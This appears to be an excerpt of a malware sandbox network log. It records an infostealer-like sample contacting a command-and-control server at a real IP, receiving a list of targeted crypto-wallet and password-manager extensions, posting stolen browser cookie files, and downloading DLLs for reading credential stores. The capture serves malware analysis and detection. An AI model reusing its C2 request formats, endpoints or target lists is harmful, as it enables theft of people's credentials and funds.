6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 7, 2024 00:15:16.659152031 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 7, 2024 00:15:16.659166098 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 7, 2024 00:15:16.659410000 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 7, 2024 00:15:16.659424067 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 7, 2024 00:15:16.659733057 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 7, 2024 00:15:16.659748077 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Dec 7, 2024 00:15:16.661398888 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="message"fplugins------DAKFIDHDGIEGCAKFIIJK--
Dec 7, 2024 00:15:17.102766991 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 7, 2024 00:15:17.423677921 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF Host: 185.215.113.206 Content-Length: 6119 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 00:15:17.423753977 CET	6119	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 7, 2024 00:15:18.382715940 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 00:15:18.765212059 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 00:15:19.203222036 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 7, 2024 00:15:19.203277111 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 7, 2024 00:15:19.207346916 CET	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49768	185.215.113.206	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:15:28.381875992 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHC Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCAECAKKFBGCBGDGIEHC--
Dec 7, 2024 00:15:30.227832079 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 00:15:30.323734045 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file"------JJECAAEHCFIEBGCBGHIE--
Dec 7, 2024 00:15:31.264007092 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49823	185.215.113.206	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:15:43.011420012 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file"------IJEGHJECFCFCBFIDBGCG--
Dec 7, 2024 00:15:44.845170975 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 00:15:45.328304052 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 00:15:45.765784025 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 7, 2024 00:15:45.765880108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 7, 2024 00:15:45.765893936 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 7, 2024 00:15:45.766274929 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 7, 2024 00:15:45.766287088 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 7, 2024 00:15:45.766298056 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 7, 2024 00:15:45.766310930 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 7, 2024 00:15:45.767007113 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
